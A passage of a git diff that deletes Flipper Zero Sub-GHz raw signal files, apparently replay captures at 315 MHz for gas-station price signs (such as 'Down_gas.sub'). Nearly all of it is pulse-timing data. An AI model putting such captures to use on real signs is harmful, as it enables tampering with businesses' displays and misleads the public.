-124 337 -128 93 -368 131 -366 93 -3742 99 -392 105 -336 129 -358 349 -140 335 -126 317 -156 339 -128 339 -128 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 107 -362 -RAW_Data: 103 -370 343 -142 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3754 101 -356 107 -368 125 -366 331 -134 329 -124 361 -104 359 -142 335 -94 125 -364 353 -140 355 -108 333 -124 145 -340 99 -362 125 -360 327 -122 123 -360 141 -334 371 -106 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3748 99 -392 105 -336 127 -358 349 -140 333 -126 317 -126 369 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 137 -334 125 -356 353 -138 105 -364 103 -370 343 -142 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3750 99 -392 105 -336 125 -356 351 -138 333 -94 377 -94 369 -130 337 -130 93 -368 367 -106 337 -132 355 -124 91 -376 137 -336 125 -356 353 -138 107 -362 103 -370 347 -106 339 -132 357 -124 337 -128 93 -368 131 -364 93 -3740 97 -372 127 -344 125 -356 355 -140 317 -142 333 -124 359 -106 357 -144 105 -362 351 -104 359 -108 335 -124 143 -340 99 -368 123 -388 323 -126 95 -382 105 -368 347 -140 337 -100 361 -124 339 -128 91 -370 131 -364 93 -3748 99 -392 105 -336 127 -356 351 -140 333 -126 345 -94 369 -128 339 -128 93 -368 369 -106 339 -130 357 -124 91 -374 139 -334 125 -356 351 -140 105 -362 105 -370 347 -106 339 -132 357 -124 337 -130 91 -368 131 -364 93 -3744 101 -392 105 -334 129 -358 349 -140 335 -126 315 -158 337 -130 337 -128 95 -368 365 -106 337 -130 357 -126 89 -376 103 -368 125 -358 351 -140 105 -362 105 -368 345 -140 305 -132 359 -126 337 -128 91 -370 131 -366 93 -3750 101 -392 105 -334 127 -352 351 -140 333 -92 379 -94 369 -128 339 -128 93 -368 369 -106 337 -130 357 -124 91 -376 137 -334 125 -356 351 -140 107 -362 103 -370 345 -108 371 -98 359 -124 337 -130 91 -368 131 -364 93 -3744 99 -392 105 -336 127 -358 351 -140 335 -126 315 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 91 -376 101 -370 125 -356 353 -138 105 -364 103 -370 343 -142 303 -132 361 -124 337 -128 93 -368 131 -366 93 -3740 97 -372 127 -344 123 -356 355 -140 353 -106 333 -124 361 -104 359 -108 141 -362 353 -106 359 -108 335 -124 145 -340 99 -364 123 -358 357 -92 125 -364 141 -334 369 -108 337 -130 355 -126 337 -128 91 -370 131 -364 91 -3750 99 -392 105 -336 127 -356 351 -140 333 -126 315 -126 369 -130 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 353 -138 105 -362 105 -370 343 -142 303 -132 359 -126 337 -128 91 -370 -RAW_Data: 131 -366 93 -3748 99 -392 105 -336 125 -356 351 -140 331 -126 347 -94 369 -128 337 -130 93 -366 369 -106 339 -132 357 -124 89 -376 137 -334 125 -356 351 -140 105 -364 103 -370 345 -108 371 -100 357 -124 339 -128 91 -368 131 -366 91 -3752 101 -392 105 -334 125 -370 333 -134 331 -122 361 -104 359 -144 333 -94 139 -376 355 -106 341 -102 363 -124 109 -374 99 -362 123 -360 327 -122 141 -342 137 -334 355 -140 335 -126 351 -94 369 -128 93 -368 131 -364 91 -3750 101 -392 105 -334 127 -352 351 -140 333 -126 317 -126 369 -128 339 -128 95 -368 367 -106 337 -130 357 -124 89 -376 103 -368 127 -356 351 -140 105 -362 103 -370 345 -140 303 -132 361 -124 337 -128 91 -370 131 -366 93 -3744 99 -392 105 -336 127 -358 351 -138 333 -126 347 -94 369 -128 337 -130 93 -368 367 -108 337 -132 357 -124 91 -376 137 -334 125 -356 351 -140 107 -362 105 -370 343 -108 339 -130 359 -124 337 -130 91 -368 131 -366 93 -3740 97 -372 125 -344 125 -356 355 -140 319 -140 335 -124 359 -104 359 -142 105 -362 351 -106 359 -106 337 -124 143 -342 99 -366 123 -390 323 -124 95 -402 105 -334 369 -108 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3748 101 -392 105 -334 127 -370 331 -134 331 -122 361 -104 359 -144 333 -94 125 -364 355 -140 355 -106 335 -124 145 -340 97 -364 123 -372 317 -134 141 -362 105 -336 371 -108 337 -130 357 -124 337 -128 91 -368 133 -366 91 -3754 99 -394 105 -334 125 -368 331 -134 331 -124 359 -106 357 -144 333 -94 125 -364 355 -140 355 -108 333 -124 145 -340 97 -362 125 -356 329 -122 125 -362 139 -336 371 -106 337 -130 357 -124 337 -128 93 -368 131 -366 93 -3742 101 -390 105 -336 129 -358 349 -140 335 -126 315 -158 339 -128 337 -130 93 -368 367 -106 337 -130 357 -126 89 -376 103 -368 125 -358 351 -140 105 -362 105 -368 345 -140 305 -132 359 -124 337 -130 91 -368 133 -366 91 -3750 99 -392 105 -336 125 -370 333 -132 331 -124 359 -106 357 -144 335 -94 125 -364 353 -140 355 -106 335 -124 145 -340 99 -362 123 -358 357 -92 123 -366 139 -334 371 -108 337 -130 355 -124 337 -128 93 -368 131 -366 93 -3746 101 -392 105 -334 127 -358 349 -140 335 -126 315 -158 337 -128 339 -128 95 -368 365 -106 337 -130 357 -124 91 -376 101 -370 125 -358 351 -140 105 -362 103 -370 345 -140 303 -132 361 -124 337 -130 91 -368 133 -364 93 -3748 101 -392 105 -334 127 -370 333 -134 -RAW_Data: 329 -122 361 -104 359 -144 335 -94 125 -364 353 -140 355 -106 335 -124 145 -340 97 -364 123 -360 327 -124 123 -360 139 -336 371 -106 337 -130 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 127 -344 125 -356 355 -140 319 -142 333 -124 359 -106 357 -144 105 -362 351 -104 359 -108 335 -124 141 -342 99 -368 123 -388 323 -124 97 -382 93 -382 351 -106 347 -140 333 -124 361 -104 139 -354 103 -396 69 -3746 99 -394 101 -354 105 -370 327 -142 335 -128 353 -124 359 -106 357 -108 141 -362 319 -140 357 -108 333 -124 145 -340 97 -364 123 -358 357 -92 137 -378 103 -336 355 -140 337 -128 351 -94 391 -104 103 -384 105 -360 103 -3738 99 -394 101 -356 105 -370 363 -106 339 -128 351 -94 369 -128 337 -130 93 -368 369 -106 339 -130 357 -124 91 -376 137 -334 127 -356 351 -140 105 -362 105 -370 345 -108 337 -132 357 -124 337 -130 91 -368 131 -366 91 -3740 97 -372 127 -344 123 -358 355 -140 319 -140 333 -126 359 -104 diff --git a/assets/resources/subghz/Gas_Sign/Down_gas.sub b/assets/resources/subghz/Gas_Sign/Down_gas.sub deleted file mode 100644 index a493f13c8..000000000 --- a/assets/resources/subghz/Gas_Sign/Down_gas.sub +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 61 -703 361 -676198 165 -322 155 -338 129 -338 345 -124 355 -124 339 -128 337 -128 337 -94 125 -370 327 -128 355 -94 367 -130 91 -368 129 -330 123 -376 319 -132 105 -396 105 -334 369 -108 337 -126 97 -368 105 -368 93 -384 95 -370 129 -3672 139 -338 127 -358 123 -340 349 -132 331 -124 337 -128 337 -128 337 -126 95 -384 319 -134 335 -124 341 -126 121 -372 101 -366 93 -380 319 -134 105 -396 105 -334 369 -106 337 -128 97 -384 91 -380 101 -366 93 -382 95 -3706 137 -340 135 -334 123 -356 329 -122 355 -140 323 -144 305 -126 351 -140 105 -360 331 -126 351 -94 369 -96 123 -368 95 -364 123 -376 317 -134 139 -360 107 -334 369 -108 337 -126 97 -370 103 -370 93 -384 93 -372 129 -3706 91 -378 103 -336 123 -376 351 -104 337 -122 339 -128 337 -128 337 -128 125 -348 353 -138 303 -124 343 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 369 -106 339 -128 95 -372 105 -368 93 -384 93 -372 129 -3706 91 -346 135 -336 123 -378 349 -104 337 -124 339 -126 337 -128 339 -126 127 -344 355 -140 331 -94 345 -126 121 -372 101 -368 91 -382 349 -102 143 -362 105 -336 371 -106 339 -128 95 -370 139 -334 93 -384 93 -372 129 -3710 105 -336 129 -358 123 -360 327 -122 337 -126 339 -128 337 -128 337 -126 93 -378 349 -130 329 -124 337 -130 91 -368 131 -366 93 -380 319 -134 103 -396 105 -336 335 -140 337 -128 97 -370 103 -368 93 -386 95 -372 95 -3738 105 -368 97 -362 93 -370 349 -132 331 -124 337 -128 337 -128 337 -128 125 -350 351 -104 335 -124 341 -126 121 -372 101 -366 91 -382 351 -102 141 -362 105 -336 369 -108 337 -128 97 -368 105 -370 93 -384 93 -372 129 -3706 105 -336 129 -362 123 -338 349 -132 333 -124 335 -128 337 -128 337 -128 125 -350 349 -104 337 -124 343 -126 121 -370 101 -368 93 -382 349 -102 141 -364 103 -336 371 -106 337 -128 97 -382 93 -378 101 -368 91 -380 95 -3734 95 -364 139 -334 125 -352 349 -104 337 -122 341 -126 337 -128 337 -128 127 -344 355 -140 333 -94 343 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 369 -108 337 -128 95 -384 91 -378 103 -366 93 -380 95 -3734 95 -364 139 -334 125 -350 349 -104 337 -124 341 -126 337 -128 337 -128 127 -344 355 -140 333 -92 345 -126 121 -372 101 -368 93 -380 351 -102 141 -362 105 -336 371 -106 337 -128 97 -370 105 -368 93 -384 95 -370 129 -3708 105 -338 127 -362 123 -340 347 -132 -RAW_Data: 333 -122 337 -128 337 -128 337 -128 125 -348 353 -104 335 -124 343 -126 121 -370 103 -366 93 -380 351 -104 141 -362 105 -336 369 -106 339 -128 95 -372 103 -370 93 -384 93 -372 129 -3708 105 -336 129 -360 123 -360 327 -122 337 -128 337 -128 337 -128 337 -124 123 -348 347 -132 331 -124 335 -128 121 -340 131 -366 93 -380 349 -104 139 -362 105 -336 371 -106 337 -128 97 -382 93 -378 101 -368 91 -380 95 -3734 93 -366 139 -336 123 -352 349 -104 337 -124 341 -128 337 -128 339 -126 127 -348 353 -138 301 -124 343 -128 121 -372 101 -366 93 -382 319 -134 105 -396 105 -336 369 -106 337 -128 97 -384 93 -378 101 -368 93 -380 95 -3740 103 -342 135 -334 123 -356 327 -124 385 -106 359 -108 337 -94 349 -126 121 -372 351 -106 345 -104 365 -92 139 -342 127 -358 93 -392 327 -122 121 -348 139 -334 369 -106 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3708 137 -342 137 -336 121 -360 329 -120 357 -140 323 -144 305 -126 351 -140 105 -360 331 -126 353 -94 367 -98 123 -368 129 -330 123 -376 317 -134 141 -360 107 -334 369 -106 337 -128 95 -370 141 -334 93 -382 95 -370 129 -3684 137 -338 127 -356 125 -360 327 -122 361 -104 359 -106 337 -124 359 -106 139 -356 329 -124 347 -94 369 -96 125 -366 95 -364 123 -374 319 -134 139 -362 105 -336 367 -108 337 -128 95 -370 139 -334 125 -352 93 -372 129 -3710 105 -338 129 -360 123 -360 327 -122 337 -128 337 -128 337 -128 337 -126 123 -346 347 -132 331 -124 337 -128 121 -338 133 -366 93 -378 319 -134 139 -362 105 -336 371 -106 337 -130 95 -370 105 -370 93 -384 93 -372 129 -3680 137 -338 127 -358 123 -360 327 -124 337 -126 337 -130 337 -126 337 -124 123 -346 349 -132 331 -122 337 -128 121 -340 131 -366 93 -380 349 -104 139 -362 105 -336 371 -106 337 -128 97 -370 139 -334 93 -384 95 -370 129 -3682 139 -336 127 -358 123 -360 327 -124 359 -106 357 -108 337 -124 359 -104 139 -358 327 -126 347 -94 369 -96 125 -366 95 -364 123 -374 319 -134 105 -396 105 -336 367 -108 337 -128 95 -370 103 -370 93 -384 93 -372 129 -3706 91 -380 103 -368 91 -380 351 -102 337 -124 341 -126 337 -128 339 -126 127 -344 355 -140 333 -92 345 -126 121 -372 101 -368 93 -380 351 -102 141 -364 105 -336 369 -108 337 -128 95 -370 139 -334 93 -384 93 -372 129 -3708 93 -380 101 -368 91 -380 349 -104 337 -122 341 -126 337 -130 337 -126 127 -344 355 -140 -RAW_Data: 333 -94 343 -126 121 -372 103 -366 93 -380 351 -104 141 -362 105 -334 371 -108 335 -130 95 -382 93 -378 103 -366 93 -382 93 -3738 93 -364 139 -334 125 -352 349 -104 337 -124 339 -128 337 -128 337 -128 125 -346 353 -140 333 -94 345 -126 123 -370 101 -368 91 -382 351 -104 141 -362 105 -336 369 -108 337 -128 95 -370 105 -370 93 -384 93 -370 129 -3712 107 -336 129 -360 123 -360 327 -124 359 -106 357 -108 337 -124 357 -106 139 -358 327 -126 347 -94 369 -98 123 -368 95 -362 123 -374 319 -134 105 -396 107 -334 369 -106 337 -128 95 -370 141 -334 93 -382 95 -370 129 -3708 105 -370 97 -362 123 -338 349 -132 333 -124 337 -126 337 -130 337 -126 127 -348 351 -104 337 -124 343 -126 121 -372 101 -366 93 -382 349 -104 141 -362 105 -336 371 -106 337 -128 97 -384 91 -378 101 -368 93 -380 95 -3708 137 -342 137 -336 121 -358 327 -122 389 -104 361 -108 335 -96 345 -126 123 -370 353 -104 347 -104 363 -94 139 -340 129 -358 93 -392 327 -122 121 -348 137 -334 369 -106 337 -130 95 -382 93 -380 101 -368 91 -382 93 -3738 103 -344 137 -336 123 -354 359 -92 377 -94 369 -98 337 -128 337 -126 123 -354 347 -132 331 -122 339 -126 123 -338 131 -366 93 -380 349 -104 141 -362 105 -334 371 -106 337 -128 97 -382 93 -378 103 -366 93 -382 93 -3708 137 -342 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 345 -126 121 -372 353 -104 347 -104 365 -92 139 -342 127 -358 93 -372 349 -132 103 -358 141 -336 365 -108 335 -128 95 -370 141 -334 93 -384 93 -370 129 -3714 107 -336 127 -360 123 -360 329 -120 361 -104 359 -108 337 -124 359 -104 141 -356 329 -126 347 -94 369 -96 125 -366 95 -364 123 -374 317 -136 103 -398 105 -334 369 -106 337 -128 97 -370 105 -368 93 -386 93 -372 97 -3744 105 -338 127 -360 123 -360 327 -122 337 -128 337 -128 337 -128 335 -124 123 -348 347 -132 331 -124 337 -126 121 -340 131 -368 91 -380 351 -104 141 -362 105 -336 369 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3704 91 -382 103 -368 123 -348 349 -104 339 -124 339 -126 369 -96 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 91 -384 349 -104 143 -362 105 -336 371 -108 337 -128 95 -368 141 -334 125 -352 93 -370 129 -3708 105 -368 99 -362 123 -338 349 -134 333 -124 335 -128 337 -128 337 -126 127 -344 353 -140 335 -92 375 -96 121 -370 101 -368 123 -350 349 -104 -RAW_Data: 143 -362 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 93 -370 129 -3714 105 -338 127 -360 125 -360 327 -122 359 -106 359 -108 337 -124 361 -104 141 -356 327 -94 377 -94 369 -96 125 -366 129 -330 123 -374 349 -102 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -350 93 -372 127 -3716 107 -336 127 -360 125 -360 327 -122 359 -106 359 -108 337 -124 361 -104 139 -356 327 -94 377 -94 369 -96 123 -366 131 -330 123 -374 349 -102 141 -364 105 -336 369 -106 337 -128 95 -370 139 -336 125 -350 95 -370 129 -3708 91 -380 103 -368 123 -348 349 -104 339 -122 371 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 349 -104 143 -362 105 -336 371 -108 337 -128 97 -370 139 -334 125 -352 93 -370 129 -3716 107 -336 129 -358 123 -360 329 -122 359 -106 359 -106 339 -124 359 -106 139 -356 329 -92 377 -94 369 -96 125 -366 129 -330 123 -374 351 -102 141 -362 105 -334 369 -108 339 -128 95 -368 105 -370 93 -384 93 -372 129 -3682 139 -336 129 -358 123 -360 327 -122 337 -126 337 -130 337 -126 337 -124 123 -346 349 -132 331 -124 337 -126 121 -340 131 -368 91 -380 351 -104 141 -362 107 -334 371 -108 337 -128 95 -370 139 -334 125 -352 93 -372 129 -3714 105 -338 127 -360 125 -360 327 -122 337 -126 337 -128 337 -128 335 -126 123 -348 347 -132 331 -124 337 -128 121 -338 133 -366 93 -380 349 -104 139 -362 105 -336 371 -108 337 -128 95 -384 91 -378 103 -366 93 -382 93 -3742 103 -344 137 -336 121 -358 329 -120 389 -104 361 -108 337 -96 375 -94 121 -372 353 -106 345 -104 365 -92 139 -340 129 -358 123 -360 327 -124 119 -350 139 -336 369 -106 339 -128 95 -370 141 -334 125 -352 125 -338 127 -3708 91 -384 101 -368 125 -348 349 -104 339 -124 369 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 349 -104 143 -362 105 -336 371 -108 337 -128 95 -372 139 -336 123 -352 93 -372 127 -3714 105 -338 129 -360 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 139 -358 327 -92 379 -94 369 -96 123 -368 129 -330 123 -376 317 -134 139 -362 105 -336 367 -108 337 -128 97 -372 103 -370 93 -384 93 -372 127 -3684 139 -336 127 -360 123 -360 327 -124 359 -106 359 -108 337 -124 359 -106 139 -356 327 -124 363 -104 361 -106 105 -382 103 -356 107 -368 325 -140 107 -362 105 -370 345 -106 339 -130 99 -376 105 -370 -RAW_Data: 93 -382 93 -372 129 -3708 91 -380 103 -368 91 -380 349 -104 337 -122 369 -94 371 -96 337 -126 127 -340 357 -142 335 -94 375 -94 121 -372 101 -368 125 -348 351 -104 141 -362 105 -336 373 -108 337 -128 97 -370 139 -334 125 -352 93 -370 129 -3708 105 -370 97 -362 123 -340 347 -134 333 -122 337 -126 339 -128 337 -126 127 -344 353 -140 335 -94 375 -96 121 -370 101 -368 123 -350 349 -104 143 -362 105 -338 371 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3714 107 -336 129 -360 123 -360 327 -122 337 -128 337 -128 337 -128 335 -124 123 -348 349 -132 331 -122 337 -126 123 -338 133 -366 91 -380 351 -104 141 -364 105 -336 371 -106 339 -126 97 -370 139 -334 125 -352 93 -370 129 -3704 139 -336 99 -364 123 -340 349 -134 333 -122 337 -126 337 -130 337 -126 125 -346 353 -140 335 -92 375 -94 121 -372 103 -366 125 -348 351 -104 141 -362 107 -334 373 -108 337 -128 95 -372 139 -334 125 -352 93 -370 129 -3706 105 -370 99 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -350 347 -134 331 -124 335 -128 121 -338 133 -368 91 -380 351 -102 143 -362 105 -336 371 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3714 107 -336 129 -360 123 -360 327 -122 361 -104 359 -108 339 -124 359 -106 139 -356 329 -92 379 -94 369 -96 123 -366 131 -330 123 -372 351 -102 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3708 91 -380 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 339 -126 127 -342 355 -142 335 -94 383 -106 105 -348 123 -372 95 -372 347 -92 125 -366 139 -336 367 -108 337 -128 95 -370 141 -334 125 -350 95 -370 127 -3704 125 -352 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 337 -128 125 -342 357 -140 335 -94 377 -94 121 -372 101 -368 123 -350 351 -104 141 -362 105 -336 373 -108 339 -128 95 -368 141 -334 93 -382 95 -370 129 -3716 105 -338 127 -360 125 -360 327 -122 361 -104 359 -108 337 -124 361 -104 141 -356 327 -92 379 -94 369 -96 123 -368 129 -330 123 -374 349 -102 141 -362 107 -334 369 -108 339 -126 97 -370 141 -334 125 -350 93 -370 129 -3708 103 -372 97 -364 123 -338 349 -132 335 -122 335 -128 337 -128 337 -128 125 -344 355 -140 335 -92 375 -94 121 -372 103 -366 125 -350 349 -104 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3708 103 -370 97 -364 123 -340 -RAW_Data: 347 -134 333 -122 337 -126 339 -128 337 -126 127 -344 355 -140 335 -94 343 -126 123 -370 101 -368 91 -382 351 -104 141 -362 105 -334 373 -106 337 -128 97 -382 93 -378 101 -368 93 -380 95 -3734 93 -380 93 -378 101 -368 363 -108 337 -94 381 -92 369 -96 371 -96 125 -370 359 -108 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -350 125 -338 129 -3708 103 -372 97 -364 123 -340 347 -134 333 -122 367 -96 369 -96 337 -128 125 -344 355 -140 335 -94 375 -92 123 -372 101 -368 123 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 93 -372 129 -3704 93 -382 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 339 -126 125 -344 355 -140 335 -94 375 -94 121 -372 103 -368 123 -350 349 -104 143 -362 105 -336 373 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3714 105 -338 129 -360 125 -360 327 -122 359 -106 359 -108 337 -124 361 -104 141 -356 329 -92 377 -94 369 -96 125 -366 129 -332 121 -374 351 -102 141 -362 105 -336 369 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3708 105 -370 97 -364 123 -360 327 -122 369 -94 369 -98 337 -126 337 -124 125 -350 347 -132 333 -122 337 -126 123 -338 133 -366 91 -380 351 -102 143 -362 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 93 -372 129 -3704 123 -352 103 -368 125 -348 349 -104 339 -122 371 -94 369 -96 369 -96 127 -340 357 -140 335 -94 347 -126 121 -372 101 -368 91 -382 351 -102 141 -364 103 -336 373 -108 337 -130 95 -370 105 -370 93 -384 93 -372 129 -3706 105 -370 97 -364 123 -340 349 -132 333 -124 337 -126 337 -130 337 -126 127 -346 353 -104 337 -124 343 -126 123 -372 101 -366 93 -382 349 -104 141 -362 105 -336 371 -108 337 -128 97 -382 93 -378 101 -368 91 -382 95 -3742 101 -344 137 -336 123 -356 359 -90 385 -106 359 -108 337 -128 319 -124 121 -372 353 -104 349 -104 365 -92 139 -342 127 -360 125 -338 349 -132 103 -396 105 -336 365 -108 337 -126 97 -368 139 -334 125 -354 93 -372 127 -3716 105 -338 129 -360 123 -360 327 -122 359 -106 359 -106 339 -124 357 -104 141 -358 329 -124 349 -94 369 -96 125 -366 131 -328 123 -376 317 -134 139 -362 105 -336 369 -108 337 -128 97 -370 105 -370 93 -384 93 -372 129 -3714 105 -336 129 -360 125 -358 327 -122 337 -128 337 -128 337 -128 335 -126 123 -348 -RAW_Data: 347 -134 331 -124 337 -126 123 -338 131 -368 91 -382 349 -104 141 -362 105 -334 371 -108 337 -128 97 -384 91 -378 101 -368 93 -380 95 -3740 103 -344 137 -336 123 -356 359 -92 383 -106 359 -108 339 -128 319 -126 121 -372 351 -104 347 -138 329 -124 109 -342 127 -360 93 -372 349 -132 103 -394 71 -370 333 -140 337 -126 97 -370 103 -370 93 -384 95 -370 129 -3706 105 -370 99 -364 123 -358 329 -122 339 -126 337 -130 337 -128 337 -124 125 -348 349 -132 331 -124 337 -126 123 -370 99 -368 91 -380 319 -134 141 -362 105 -336 371 -106 337 -130 95 -372 103 -370 91 -386 95 -370 129 -3714 105 -338 127 -362 123 -360 327 -124 337 -126 339 -128 337 -128 337 -124 125 -346 349 -132 329 -124 339 -128 121 -338 133 -366 93 -378 319 -134 141 -362 105 -334 371 -106 339 -128 97 -382 105 -370 97 -360 125 -340 129 -3706 139 -338 133 -332 123 -360 327 -122 341 -126 337 -130 337 -128 337 -124 125 -348 349 -132 329 -124 339 -126 123 -370 101 -366 93 -380 319 -134 141 -362 105 -334 371 -106 339 -128 97 -382 93 -378 101 -368 93 -382 93 -3744 103 -342 137 -336 123 -356 327 -122 385 -104 361 -108 337 -128 329 -140 107 -344 353 -140 333 -94 345 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 371 -106 337 -130 95 -384 93 -378 101 -368 91 -384 93 -3746 103 -340 137 -336 123 -358 327 -122 387 -104 361 -106 337 -96 349 -124 121 -372 353 -104 347 -104 365 -124 109 -340 129 -358 93 -372 349 -132 103 -396 69 -368 367 -108 337 -128 95 -372 103 -370 93 -384 93 -372 127 -3708 105 -370 99 -364 123 -338 349 -134 333 -122 337 -128 337 -128 337 -128 125 -348 353 -140 331 -94 345 -126 121 -372 101 -368 91 -382 351 -102 141 -362 105 -336 373 -106 337 -128 97 -384 91 -378 101 -368 93 -382 93 -3742 103 -378 103 -336 123 -356 359 -92 385 -106 359 -108 337 -96 379 -94 121 -372 355 -104 347 -104 365 -92 139 -340 129 -358 125 -360 327 -122 121 -348 139 -336 369 -108 337 -128 97 -370 141 -334 125 -352 125 -338 127 -3708 139 -336 99 -364 123 -338 379 -104 333 -124 335 -128 369 -96 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 125 -350 349 -104 141 -364 105 -336 373 -106 339 -128 97 -368 105 -368 93 -384 95 -370 129 -3706 105 -370 99 -364 123 -338 349 -134 333 -124 335 -128 337 -128 337 -128 125 -344 355 -140 335 -92 375 -94 121 -372 103 -368 123 -350 -RAW_Data: 351 -104 141 -364 105 -334 371 -108 337 -128 97 -382 91 -380 101 -368 93 -382 93 -3744 103 -344 137 -336 121 -358 359 -90 387 -106 361 -106 337 -96 393 -104 107 -342 355 -140 335 -94 375 -94 121 -372 101 -368 123 -350 351 -102 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3712 105 -370 97 -362 125 -360 327 -122 335 -128 337 -128 337 -128 337 -124 123 -348 347 -134 331 -122 369 -94 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -108 337 -128 95 -370 141 -334 125 -352 93 -370 129 -3706 123 -352 103 -368 125 -348 349 -104 339 -124 369 -96 369 -96 337 -128 125 -342 355 -142 335 -94 377 -94 121 -372 101 -368 125 -348 351 -104 141 -364 105 -336 371 -108 337 -128 97 -370 141 -334 125 -350 95 -370 129 -3706 105 -372 97 -364 123 -340 347 -134 333 -122 339 -126 337 -128 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 123 -350 351 -104 141 -362 105 -336 373 -108 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3708 93 -382 103 -368 123 -348 349 -104 339 -122 371 -94 369 -96 339 -126 127 -342 355 -142 335 -94 375 -94 121 -372 103 -368 123 -350 351 -104 141 -362 107 -336 371 -108 339 -128 95 -370 141 -334 125 -350 93 -372 129 -3708 105 -370 99 -362 123 -360 329 -122 367 -96 369 -96 337 -128 335 -126 123 -352 347 -132 331 -124 337 -126 121 -340 133 -366 93 -380 349 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -350 95 -370 129 -3714 105 -338 129 -360 125 -360 327 -122 359 -106 359 -108 337 -124 359 -104 141 -360 329 -94 377 -94 369 -96 123 -368 129 -330 123 -374 349 -102 141 -364 105 -336 369 -106 339 -126 97 -370 141 -334 125 -352 93 -370 129 -3708 105 -372 97 -364 123 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -132 331 -124 367 -96 121 -370 103 -366 93 -380 349 -104 143 -362 105 -336 371 -108 339 -128 95 -370 141 -334 125 -350 95 -370 127 -3706 141 -336 99 -364 123 -338 379 -102 335 -124 367 -96 369 -96 337 -126 127 -342 355 -140 335 -94 345 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 371 -106 339 -128 95 -384 91 -380 101 -368 93 -382 95 -3742 103 -342 139 -334 123 -358 359 -90 387 -106 359 -108 337 -96 379 -94 121 -370 355 -106 347 -104 365 -92 139 -340 127 -360 123 -338 349 -132 139 -326 141 -336 367 -106 337 -128 95 -372 -RAW_Data: 139 -334 125 -352 93 -372 127 -3710 105 -370 97 -364 123 -360 327 -122 369 -96 369 -96 337 -128 335 -126 123 -352 347 -134 331 -124 335 -128 121 -338 133 -368 91 -378 351 -104 141 -364 105 -336 373 -106 339 -126 97 -370 141 -334 125 -350 95 -370 129 -3716 105 -338 129 -360 123 -360 327 -122 337 -126 337 -130 337 -126 337 -124 125 -348 347 -134 331 -124 335 -128 121 -370 103 -366 91 -380 351 -102 143 -362 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 125 -338 129 -3712 105 -370 97 -362 125 -360 327 -122 367 -96 369 -96 337 -128 337 -124 123 -352 347 -132 333 -122 339 -126 123 -370 101 -366 93 -380 351 -102 141 -362 105 -336 371 -108 335 -128 97 -382 93 -378 103 -368 91 -382 95 -3732 95 -380 91 -380 101 -370 363 -108 337 -96 379 -94 369 -96 369 -96 125 -370 327 -142 337 -94 379 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -336 373 -106 339 -128 95 -370 141 -334 125 -352 93 -372 127 -3708 91 -384 101 -368 125 -350 349 -104 339 -122 371 -94 369 -98 337 -128 125 -340 357 -140 335 -94 377 -94 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 373 -108 337 -128 95 -370 141 -334 125 -350 95 -370 129 -3708 105 -370 99 -364 123 -338 349 -134 333 -124 335 -128 337 -128 337 -128 125 -344 353 -142 333 -94 375 -94 121 -372 101 -370 123 -350 349 -104 143 -362 105 -336 373 -108 337 -128 97 -370 141 -334 125 -350 125 -340 127 -3712 103 -370 97 -364 123 -360 327 -122 369 -96 369 -96 337 -128 337 -124 123 -352 347 -132 333 -122 337 -126 123 -370 101 -368 91 -380 351 -104 141 -364 105 -336 371 -106 339 -128 95 -370 141 -334 125 -352 93 -372 129 -3706 139 -336 99 -364 123 -338 349 -134 333 -124 335 -128 337 -128 337 -128 125 -344 355 -140 335 -94 375 -94 121 -372 101 -368 125 -350 349 -104 143 -362 105 -336 373 -108 337 -128 95 -372 139 -334 125 -352 93 -370 129 -3706 123 -352 103 -370 123 -350 349 -104 339 -122 371 -94 369 -96 369 -96 127 -340 357 -140 335 -94 377 -94 121 -372 103 -368 123 -352 349 -104 141 -364 105 -336 373 -106 339 -128 95 -370 141 -334 125 -350 127 -338 129 -3710 